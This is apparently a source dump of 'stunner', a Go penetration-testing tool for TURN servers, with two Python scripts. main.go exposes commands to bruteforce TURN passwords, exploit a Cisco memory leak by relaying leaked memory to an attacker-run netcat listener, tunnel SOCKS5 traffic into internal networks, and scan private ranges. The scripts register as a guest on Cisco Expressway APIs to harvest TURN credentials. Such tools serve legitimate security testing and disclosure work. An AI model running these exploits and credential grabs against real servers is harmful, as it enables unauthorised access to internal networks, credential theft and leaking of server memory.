58 | MsgTypeMethodSend MessageTypeMethod = 0x06
59 | MsgTypeMethodDataInd MessageTypeMethod = 0x07
60 | MsgTypeMethodCreatePermission MessageTypeMethod = 0x08
61 | MsgTypeMethodChannelbind MessageTypeMethod = 0x09
62 | )
63 |
64 | var turnMsgTypeMethodNames = map[MessageTypeMethod]string{
65 | MsgTypeMethodAllocate: "Allocate",
66 | MsgTypeMethodRefresh: "Refresh",
67 | MsgTypeMethodChannelbind: "Channel-Bind",
68 | MsgTypeMethodCreatePermission: "CreatePermission",
69 | MsgTypeMethodSend: "Send",
70 | MsgTypeMethodDataInd: "Data",
71 | }
72 |
73 | const (
74 | AttrChannelNumber AttributeType = 0x000c
75 | AttrLifetime AttributeType = 0x000d
76 | AttrBandwidth AttributeType = 0x0010
77 | AttrXorPeerAddress AttributeType = 0x0012
78 | AttrData AttributeType = 0x0013
79 | AttrXorRelayedAddress AttributeType = 0x0016
80 | AttrEvenPort AttributeType = 0x0018
81 | AttrRequestedTransport AttributeType = 0x0019
82 | AttrDontFragment AttributeType = 0x001a
83 | AttrTimerVal AttributeType = 0x0021
84 | AttrReservationToken AttributeType = 0x0022
85 | )
86 |
87 | var turnAttrNames = map[AttributeType]string{
88 | AttrChannelNumber: "CHANNEL-NUMBER",
89 | AttrLifetime: "LIFETIME",
90 | AttrBandwidth: "BANDWIDTH",
91 | AttrXorPeerAddress: "XOR-PEER-ADDRESS",
92 | AttrData: "DATA",
93 | AttrXorRelayedAddress: "XOR-RELAYED-ADDRESS",
94 | AttrEvenPort: "EVEN-PORT",
95 | AttrRequestedTransport: "REQUESTED-TRANSPORT",
96 | AttrDontFragment: "DONT-FRAGMENT",
97 | AttrTimerVal: "TIMER-VAL",
98 | AttrReservationToken: "RESERVATION-TOKEN",
99 | }
100 |
101 | const (
102 | ErrorForbidden ErrorCode = 403
103 | ErrorAllocationMismatch ErrorCode = 437
104 | ErrorWrongCredentials ErrorCode = 441
105 | ErrorUnsupportedTransportProtocol ErrorCode = 442
106 | ErrorAllocationQuotaReached ErrorCode = 486
107 | ErrorInsufficientCapacity ErrorCode = 508
108 | )
109 |
110 | var TurnErrorNames = map[ErrorCode]string{
111 | ErrorForbidden: "Forbidden",
112 | ErrorAllocationMismatch: "Allocation Mismatch",
113 | ErrorWrongCredentials: "Wrong Credentials",
114 | ErrorUnsupportedTransportProtocol: "Unsupported Transport Protocol",
115 | ErrorAllocationQuotaReached: "Allocation Quota Reached",
116 | ErrorInsufficientCapacity: "Insufficient Capacity",
117 | }
118 |
119 | type AllocateProtocol byte
120 |
121 | const (
122 | AllocateProtocolIgnore AllocateProtocol = 0x00 // only used internally, not part of the spec
123 | AllocateProtocolIPv4 AllocateProtocol = 0x01
124 | AllocateProtocolIPv6 AllocateProtocol = 0x02
125 | )
126 |
127 | var allocateProtocolNames = map[AllocateProtocol]string{
128 | AllocateProtocolIgnore: "None", // only used internally, not part of the spec
129 | AllocateProtocolIPv4: "IPv4",
130 | AllocateProtocolIPv6: "IPv6",
131 | }
132 |
--------------------------------------------------------------------------------
/internal/types_turntcp.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | const (
4 | // MsgTypeMethodConnect https://tools.ietf.org/html/rfc6062#section-6.1
5 | MsgTypeMethodConnect MessageTypeMethod = 0x0a
6 | // MsgTypeMethodConnectionBind https://tools.ietf.org/html/rfc6062#section-6.1
7 | MsgTypeMethodConnectionBind MessageTypeMethod = 0x0b
8 | // MsgTypeMethodConnectionAttempt https://tools.ietf.org/html/rfc6062#section-6.1
9 | MsgTypeMethodConnectionAttempt MessageTypeMethod = 0x0c
10 | )
11 |
12 | var turnTCPMsgTypeMethodNames = map[MessageTypeMethod]string{
13 | MsgTypeMethodConnect: "Connect",
14 | MsgTypeMethodConnectionBind: "ConnectionBind",
15 | MsgTypeMethodConnectionAttempt: "ConnectionAttempt",
16 | }
17 |
18 | const (
19 | // AttrConnectionID https://tools.ietf.org/html/rfc6062#section-6.2.1
20 | AttrConnectionID AttributeType = 0x002a
21 | )
22 |
23 | var turnTCPAttrNames = map[AttributeType]string{
24 | AttrConnectionID: "CONNECTION-ID",
25 | }
26 |
27 | const (
28 | // ErrorConnectionAlreadyExists https://tools.ietf.org/html/rfc6062#section-6.3
29 | ErrorConnectionAlreadyExists ErrorCode = 446
30 | // ErrorConnectionTimeoutOrFailure https://tools.ietf.org/html/rfc6062#section-6.3
31 | ErrorConnectionTimeoutOrFailure ErrorCode = 447
32 | )
33 |
34 | var TurnTCPErrorNames = map[ErrorCode]string{
35 | ErrorConnectionAlreadyExists: "Connection Already Exists",
36 | ErrorConnectionTimeoutOrFailure: "Connection Timeout or Failure",
37 | }
38 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | // https://hackerone.com/reports/333419
2 | // https://www.immunit.ch/en/blog/2018/06/12/vulnerability-disclosure-cisco-meeting-server-arbitrary-tcp-relaying-2/
3 | // https://github.com/wireshark/wireshark/blob/245086eb8382bca3c134a4fd7507c185246127e2/epan/dissectors/packet-stun.c
4 | // https://www.rtcsec.com/2020/04/01-slack-webrtc-turn-compromise/
5 |
6 | // STUN: https://datatracker.ietf.org/doc/html/rfc5389
7 | // TURN: https://datatracker.ietf.org/doc/html/rfc5766
8 | // TURN for TCP: https://datatracker.ietf.org/doc/html/rfc6062
9 | // TURN Extension for IPv6: https://datatracker.ietf.org/doc/html/rfc6156
10 |
11 | // https://blog.addpipe.com/troubleshooting-webrtc-connection-issues/
12 |
13 | package main
14 |
15 | import (
16 | "fmt"
17 | "net"
18 | "net/netip"
19 | "os"
20 | "runtime/debug"
21 | "strconv"
22 | "strings"
23 | "time"
24 |
25 | "github.com/firefart/stunner/internal/cmd"
26 | "github.com/sirupsen/logrus"
27 |
28 | "github.com/urfave/cli/v2"
29 | )
30 |
31 | func main() {
32 | log := logrus.New()
33 | log.SetOutput(os.Stdout)
34 | log.SetLevel(logrus.InfoLevel)
35 |
36 | app := &cli.App{
37 | Name: "stunner",
38 | Usage: "test turn servers for misconfigurations",
39 | Authors: []*cli.Author{
40 | {
41 | Name: "Christian Mehlmauer",
42 | Email: "firefart@gmail.com",
43 | },
44 | },
45 | Copyright: "This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/ or send a letter to Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.",
46 | Commands: []*cli.Command{
47 | {
48 | Name: "info",
49 | Usage: "Prints out some info about the server",
50 | Description: "This command tries to establish a connection and prints out some gathered information",
51 | Flags: []cli.Flag{
52 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
53 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
54 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
55 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
56 | &cli.DurationFlag{Name: "timeout", Value: 2 * time.Second, Usage: "connect timeout to turn server"},
57 | },
58 | Before: func(ctx *cli.Context) error {
59 | if ctx.Bool("debug") {
60 | log.SetLevel(logrus.DebugLevel)
61 | }
62 | return nil
63 | },
64 | Action: func(c *cli.Context) error {
65 | turnServer := c.String("turnserver")
66 | useTLS := c.Bool("tls")
67 | protocol := c.String("protocol")
68 | timeout := c.Duration("timeout")
69 | return cmd.Info(c.Context, cmd.InfoOpts{
70 | TurnServer: turnServer,
71 | UseTLS: useTLS,
72 | Protocol: protocol,
73 | Log: log,
74 | Timeout: timeout,
75 | })
76 | },
77 | },
78 | {
79 | Name: "brute-transports",
80 | Usage: "This command bruteforces all available transports",
81 | Description: "This command bruteforces all available transports on the STUN protocol." +
82 | "This can be used to identify interesting non default transports. Transports" +
83 | "are basically protocols that the STUN/TURN server can speak to the internal" +
84 | "systems. This normally only yields tcp and udp.",
85 | Flags: []cli.Flag{
86 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
87 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
88 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
89 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
90 | &cli.DurationFlag{Name: "timeout", Value: 2 * time.Second, Usage: "connect timeout to turn server"},
91 | &cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
92 | &cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"},
93 | },
94 | Before: func(ctx *cli.Context) error {
95 | if ctx.Bool("debug") {
96 | log.SetLevel(logrus.DebugLevel)
97 | }
98 | return nil
99 | },
100 | Action: func(c *cli.Context) error {
101 | turnServer := c.String("turnserver")
102 | useTLS := c.Bool("tls")
103 | protocol := c.String("protocol")
104 | timeout := c.Duration("timeout")
105 | username := c.String("username")
106 | password := c.String("password")
107 | return cmd.BruteTransports(c.Context, cmd.BruteTransportOpts{
108 | TurnServer: turnServer,
109 | UseTLS: useTLS,
110 | Protocol: protocol,
111 | Log: log,
112 | Timeout: timeout,
113 | Username: username,
114 | Password: password,
115 | })
116 | },
117 | },
118 | {
119 | Name: "brute-password",
120 | Usage: "This command tries all passwords from a given file for a username via the TURN protocol.",
121 | Description: "This command tries all passwords from a given file for a username via the TURN protocol (UDP)." +
122 | "This can be useful when analysing a pcap where you can see the username but not the password." +
123 | "Please note that an offline bruteforce is much more faster in this case.",
124 | Flags: []cli.Flag{
125 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
126 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
127 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
128 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
129 | &cli.DurationFlag{Name: "timeout", Value: 5 * time.Second, Usage: "connect timeout to turn server"},
130 | &cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
131 | &cli.StringFlag{Name: "passfile", Aliases: []string{"p"}, Required: true, Usage: "passwordfile to use for bruteforce"},
132 | },
133 | Before: func(ctx *cli.Context) error {
134 | if ctx.Bool("debug") {
135 | log.SetLevel(logrus.DebugLevel)
136 | }
137 | return nil
138 | },
139 | Action: func(c *cli.Context) error {
140 | turnServer := c.String("turnserver")
141 | useTLS := c.Bool("tls")
142 | protocol := c.String("protocol")
143 | timeout := c.Duration("timeout")
144 | username := c.String("username")
145 | passwordFile := c.String("passfile")
146 | return cmd.BruteForce(c.Context, cmd.BruteforceOpts{
147 | TurnServer: turnServer,
148 | UseTLS: useTLS,
149 | Protocol: protocol,
150 | Log: log,
151 | Timeout: timeout,
152 | Username: username,
153 | Passfile: passwordFile,
154 | })
155 | },
156 | },
157 | {
158 | Name: "memoryleak",
159 | Usage: "This command exploits a memory information leak in some cisco software",
160 | Description: "This command exploits a memory leak in a cisco software product." +
161 | "We use a misconfigured server that also relays UDP connections to external hosts to" +
162 | "receive the data. We send a TLV with an arbitrary length that is not checked server side" +
163 | "and so the server returns a bunch of memory to the external server where the traffic is" +
164 | "relayed to." +
165 | "To receive the data you need to run a listener on the external server to receive the data:" +
166 | "sudo nc -u -l -n -v -p 8080 | hexdump -C",
167 | Flags: []cli.Flag{
168 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
169 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
170 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
171 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
172 | &cli.DurationFlag{Name: "timeout", Value: 2 * time.Second, Usage: "connect timeout to turn server"},
173 | &cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
174 | &cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"},
175 | &cli.StringFlag{Name: "target", Aliases: []string{"t"}, Required: true, Usage: "Target to leak memory to in the form host:port. Should be a public server under your control"},
176 | &cli.UintFlag{Name: "size", Value: 35510, Usage: "Size of the buffer to leak"},
177 | },
178 | Before: func(ctx *cli.Context) error {
179 | if ctx.Bool("debug") {
180 | log.SetLevel(logrus.DebugLevel)
181 | }
182 | return nil
183 | },
184 | Action: func(c *cli.Context) error {
185 | turnServer := c.String("turnserver")
186 | useTLS := c.Bool("tls")
187 | protocol := c.String("protocol")
188 | timeout := c.Duration("timeout")
189 | username := c.String("username")
190 | password := c.String("password")
191 |
192 | targetString := c.String("target")
193 | if targetString == "" || !strings.Contains(targetString, ":") {
194 | return fmt.Errorf("please supply a valid target")
195 | }
196 | targetHost, port, err := net.SplitHostPort(targetString)
197 | if err != nil {
198 | return fmt.Errorf("please supply a valid target: %w", err)
199 | }
200 | targetIP, err := netip.ParseAddr(targetHost)
201 | if err != nil {
202 | return fmt.Errorf("target is no valid ip address: %w", err)
203 | }
204 | targetPort, err := strconv.ParseUint(port, 10, 16)
205 | if err != nil {
206 | return fmt.Errorf("error on parsing port: %w", err)
207 | }
208 |
209 | size := c.Uint("size")
210 | return cmd.MemoryLeak(c.Context, cmd.MemoryleakOpts{
211 | TurnServer: turnServer,
212 | UseTLS: useTLS,
213 | Protocol: protocol,
214 | Log: log,
215 | Timeout: timeout,
216 | Username: username,
217 | Password: password,
218 | TargetHost: targetIP,
219 | TargetPort: uint16(targetPort),
220 | Size: uint16(size),
221 | })
222 | },
223 | },
224 | {
225 | Name: "range-scan",
226 | Usage: "Scan if the TURN server allows connections to restricted network ranges",
227 | Description: "This command tries to establish a connection via the TURN protocol to predefined" +
228 | "network ranges. If these result in a success, the TURN implementation" +
229 | "might not filter private and restricted ranges correctly.",
230 | Flags: []cli.Flag{
231 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
232 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
233 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
234 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
235 | &cli.DurationFlag{Name: "timeout", Value: 2 * time.Second, Usage: "connect timeout to turn server"},
236 | &cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
237 | &cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"},
238 | },
239 | Before: func(ctx *cli.Context) error {
240 | if ctx.Bool("debug") {
241 | log.SetLevel(logrus.DebugLevel)
242 | }
243 | return nil
244 | },
245 | Action: func(c *cli.Context) error {
246 | turnServer := c.String("turnserver")
247 | useTLS := c.Bool("tls")
248 | protocol := c.String("protocol")
249 | timeout := c.Duration("timeout")
250 | username := c.String("username")
251 | password := c.String("password")
252 | return cmd.RangeScan(c.Context, cmd.RangeScanOpts{
253 | TurnServer: turnServer,
254 | UseTLS: useTLS,
255 | Protocol: protocol,
256 | Log: log,
257 | Timeout: timeout,
258 | Username: username,
259 | Password: password,
260 | })
261 | },
262 | },
263 | {
264 | Name: "socks",
265 | Usage: "This starts a socks5 server and relays TCP traffic via the TURN over TCP protocol",
266 | Description: "This starts a local socks5 server and relays only TCP traffic via the TURN over TCP protocol." +
267 | "This way you can access internal systems via TCP on the TURN servers network if it is misconfigured.",
268 | Flags: []cli.Flag{
269 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
270 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
271 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
272 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
273 | &cli.DurationFlag{Name: "timeout", Value: 5 * time.Second, Usage: "connect timeout to turn server"},
274 | &cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
275 | &cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"},
276 | &cli.StringFlag{Name: "listen", Aliases: []string{"l"}, Value: "127.0.0.1:1080", Usage: "Address and port to listen on"},
277 | &cli.BoolFlag{Name: "drop-public", Aliases: []string{"x"}, Value: true, Usage: "Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection."},
278 | },
279 | Before: func(ctx *cli.Context) error {
280 | if ctx.Bool("debug") {
281 | log.SetLevel(logrus.DebugLevel)
282 | }
283 | return nil
284 | },
285 | Action: func(c *cli.Context) error {
286 | turnServer := c.String("turnserver")
287 | useTLS := c.Bool("tls")
288 | protocol := c.String("protocol")
289 | timeout := c.Duration("timeout")
290 | username := c.String("username")
291 | password := c.String("password")
292 | listen := c.String("listen")
293 | dropPublic := c.Bool("drop-public")
294 | return cmd.Socks(c.Context, cmd.SocksOpts{
295 | TurnServer: turnServer,
296 | UseTLS: useTLS,
297 | Protocol: protocol,
298 | Log: log,
299 | Timeout: timeout,
300 | Username: username,
301 | Password: password,
302 | Listen: listen,
303 | DropPublic: dropPublic,
304 | })
305 | },
306 | },
307 | {
308 | Name: "tcp-scanner",
309 | Usage: "Scans private IP ranges for snmp and dns ports",
310 | Description: "This command scans internal IPv4 ranges for http servers with the given ports.",
311 | Flags: []cli.Flag{
312 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
313 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
314 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
315 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
316 | &cli.DurationFlag{Name: "timeout", Value: 5 * time.Second, Usage: "connect timeout to turn server"},
317 | &cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
318 | &cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"},
319 | &cli.StringFlag{Name: "ports", Value: "80,443,8080,8081", Usage: "Ports to check"},
320 | &cli.StringSliceFlag{Name: "ip", Usage: "Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format."},
321 | },
322 | Before: func(ctx *cli.Context) error {
323 | if ctx.Bool("debug") {
324 | log.SetLevel(logrus.DebugLevel)
325 | }
326 | return nil
327 | },
328 | Action: func(c *cli.Context) error {
329 | turnServer := c.String("turnserver")
330 | useTLS := c.Bool("tls")
331 | protocol := c.String("protocol")
332 | timeout := c.Duration("timeout")
333 | username := c.String("username")
334 | password := c.String("password")
335 |
336 | portsRaw := c.String("ports")
337 | ports := strings.Split(portsRaw, ",")
338 |
339 | ips := c.StringSlice("ip")
340 |
341 | return cmd.TCPScanner(c.Context, cmd.TCPScannerOpts{
342 | TurnServer: turnServer,
343 | UseTLS: useTLS,
344 | Protocol: protocol,
345 | Log: log,
346 | Timeout: timeout,
347 | Username: username,
348 | Password: password,
349 | Ports: ports,
350 | IPs: ips,
351 | })
352 | },
353 | },
354 | {
355 | Name: "udp-scanner",
356 | Usage: "Scans private IP ranges for snmp and dns",
357 | Description: "This command scans internal IPv4 ranges for open SNMP ports with the given" +
358 | "community string and for open DNS ports.",
359 | Flags: []cli.Flag{
360 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
361 | &cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
362 | &cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
363 | &cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
364 | &cli.DurationFlag{Name: "timeout", Value: 5 * time.Second, Usage: "connect timeout to turn server"},
365 | &cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
366 | &cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"},
367 | &cli.StringFlag{Name: "community-string", Value: "public", Usage: "SNMP community string to use for scanning"},
368 | &cli.StringFlag{Name: "domain", Required: true, Usage: "domain name to resolve on internal DNS servers during scanning"},
369 | &cli.StringSliceFlag{Name: "ip", Usage: "Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format."},
370 | },
371 | Before: func(ctx *cli.Context) error {
372 | if ctx.Bool("debug") {
373 | log.SetLevel(logrus.DebugLevel)
374 | }
375 | return nil
376 | },
377 | Action: func(c *cli.Context) error {
378 | turnServer := c.String("turnserver")
379 | useTLS := c.Bool("tls")
380 | protocol := c.String("protocol")
381 | timeout := c.Duration("timeout")
382 | username := c.String("username")
383 | password := c.String("password")
384 | communityString := c.String("community-string")
385 | domain := c.String("domain")
386 | ips := c.StringSlice("ip")
387 | return cmd.UDPScanner(c.Context, cmd.UDPScannerOpts{
388 | TurnServer: turnServer,
389 | UseTLS: useTLS,
390 | Protocol: protocol,
391 | Log: log,
392 | Timeout: timeout,
393 | Username: username,
394 | Password: password,
395 | CommunityString: communityString,
396 | DomainName: domain,
397 | IPs: ips,
398 | })
399 | },
400 | },
401 | {
402 | Name: "version",
403 | Usage: "prints the current version and build infos",
404 | Description: "prints the current version and build infos",
405 | Action: func(ctx *cli.Context) error {
406 | info, ok := debug.ReadBuildInfo()
407 | if !ok {
408 | return fmt.Errorf("could not get buildinfo")
409 | }
410 | fmt.Printf("Build info:\n")
411 | fmt.Printf("%s", info)
412 | return nil
413 | },
414 | },
415 | },
416 | }
417 |
418 | err := app.Run(os.Args)
419 | if err != nil {
420 | log.Fatal(err)
421 | }
422 | }
423 |
--------------------------------------------------------------------------------
/scripts/expressway_get_creds.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | # pip3 install websocket-client requests
4 |
5 | import requests
6 | import sys
7 | from websocket import create_connection
8 | import argparse
9 | import ssl
10 | import json
11 | from urllib3.exceptions import InsecureRequestWarning
12 |
13 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
14 |
15 |
16 | class Jabber():
17 |
18 | proxies = {
19 | # "http": "http://localhost:8080",
20 | # "https": "http://localhost:8080",
21 | }
22 |
23 | def getCookies(self):
24 | cookie_dict = self.s.cookies.get_dict(domain=domain_no_scheme)
25 | found = ['%s=%s' % (name, value)
26 | for (name, value) in cookie_dict.items()]
27 | return ';'.join(found)
28 |
29 | def __init__(self):
30 | self.base = domain
31 | self.s = requests.Session()
32 |
33 | def csrf_header(self):
34 | if 'CMA-XSRF-TOKEN' in self.s.cookies:
35 | self.s.headers.update(
36 | {'CSRF-Token': self.s.cookies['CMA-XSRF-TOKEN']})
37 |
38 | def get(self, url, params=None, header=None):
39 | self.csrf_header()
40 | resp = self.s.get(self.base + url, params=params,
41 | verify=False, proxies=self.proxies, headers=header)
42 | if resp is None:
43 | return None
44 | # print(resp.status_code)
45 | # print(resp.text)
46 | return resp.text
47 |
48 | def post_plain(self, url, data):
49 | self.csrf_header()
50 | resp = self.s.post(self.base + url, data=data,
51 | verify=False, proxies=self.proxies)
52 | if resp is None:
53 | return None
54 | # print(resp.status_code)
55 | # print(resp.text)
56 | return resp.text
57 |
58 | def post_json(self, url, json_in):
59 | self.csrf_header()
60 | resp = self.s.post(self.base + url, json=json_in,
61 | verify=False, proxies=self.proxies)
62 | if resp is None:
63 | return None
64 |
65 | try:
66 | j = resp.json()
67 | return j
68 | except json.decoder.JSONDecodeError:
69 | return resp.text
70 |
71 |
72 | parser = argparse.ArgumentParser(description='Get expressway credentials')
73 | parser.add_argument('--domain', dest='domain', type=str, required=True,
74 | help='the domain including the scheme ex https://example.com')
75 | parser.add_argument('--telephonenumber', dest='number', type=str, required=True,
76 | help='a valid telephone number on the server')
77 |
78 | args = parser.parse_args()
79 | domain = args.domain
80 | domain_no_scheme = domain.replace('http://', '').replace('https://', '')
81 | number = args.number
82 |
83 | j = Jabber()
84 | # get initial session
85 | resp = j.get('/')
86 | if resp is None:
87 | sys.exit()
88 |
89 | number = str(number)
90 | displayname = "⚠"
91 |
92 | data = {"numericId": number, "secret": None, "passcode": None}
93 | resp = j.post_json('/api/v1/search-guest-conference', data)
94 | if resp is None:
95 | sys.exit()
96 |
97 | if "token" not in resp:
98 | print(resp)
99 | sys.exit(1)
100 |
101 | token = resp["token"]
102 |
103 | data = {"numericId": number, "secret": None, "passcode": None,
104 | "displayName": displayname, "token": token}
105 | resp = j.post_json('/api/v1/guest-register', data)
106 | if resp is None:
107 | sys.exit()
108 | username = resp["username"]
109 | password = resp["password"]
110 |
111 | data = {"username": username,
112 | "password": password}
113 | resp = j.post_json('/api/v1/login', data)
114 | if resp is None:
115 | sys.exit()
116 | status = resp["result"]
117 | if status != "success":
118 | sys.exit()
119 |
120 | # debug output
121 | # resp = j.post_json('/api/v1/session/diagnostics', {'diagnostics': 'all'})
122 | # print(resp)
123 |
124 | resp = j.get('/api/v1/streams')
125 | if resp is None:
126 | sys.exit()
127 |
128 | data = {"subscriptions": []}
129 | resp = j.post_json('/api/v1/streams', data)
130 | if resp is None:
131 | sys.exit()
132 | if status != "success":
133 | sys.exit()
134 | id = resp["id"]
135 |
136 | headers = {'Sec-WebSocket-Protocol': j.s.cookies['CMA-XSRF-TOKEN']}
137 | ws = create_connection(
138 | f"wss://{domain_no_scheme}/api/v1/streams/{id}/updates",
139 | cookie=j.getCookies(),
140 | header=headers,
141 | sslopt={"cert_reqs": ssl.CERT_NONE, "check_hostname": False})
142 | ws.settimeout(2)
143 | recv_result = ws.recv()
144 | j = json.loads(recv_result)
145 | ws.close()
146 | print(j[0]['webRtcMediaConfiguration'])
147 |
--------------------------------------------------------------------------------
/scripts/expressway_get_creds_new.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | # pip3 install requests
4 |
5 | import requests
6 | import sys
7 | import argparse
8 | from urllib3.exceptions import InsecureRequestWarning
9 |
10 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
11 |
12 | parser = argparse.ArgumentParser(description='Get expressway credentials')
13 | parser.add_argument('--domain', dest='domain', type=str, required=True,
14 | help='the domain including the scheme ex https://example.com')
15 | parser.add_argument('--telephonenumber', dest='number', type=str, required=True,
16 | help='a valid telephone number on the server')
17 |
18 | args = parser.parse_args()
19 | domain = args.domain
20 | number = args.number
21 |
22 | j = requests.Session()
23 | # get initial session
24 | resp = j.get(f'{domain}/')
25 | if resp is None:
26 | sys.exit()
27 |
28 | number = str(number)
29 | displayname = "⚠"
30 |
31 |
32 | data = {"numericId": number, "passcode": ""}
33 | resp = j.post(f'{domain}/api/lookup', json=data)
34 | if resp is None:
35 | sys.exit()
36 |
37 | if resp.status_code == 400:
38 | print(resp.text)
39 | print("Invalid telephone number provided")
40 | sys.exit(1)
41 |
42 | data = {"numericId": number, "passcode": "", "trace": "false",
43 | "displayName": displayname, "userAgent": "stunner"}
44 | resp = j.post(f'{domain}/api/join', json=data)
45 | if resp is None:
46 | sys.exit()
47 |
48 | x = resp.json()
49 |
50 | for y in x["turnServers"]:
51 | print(y)
52 |
--------------------------------------------------------------------------------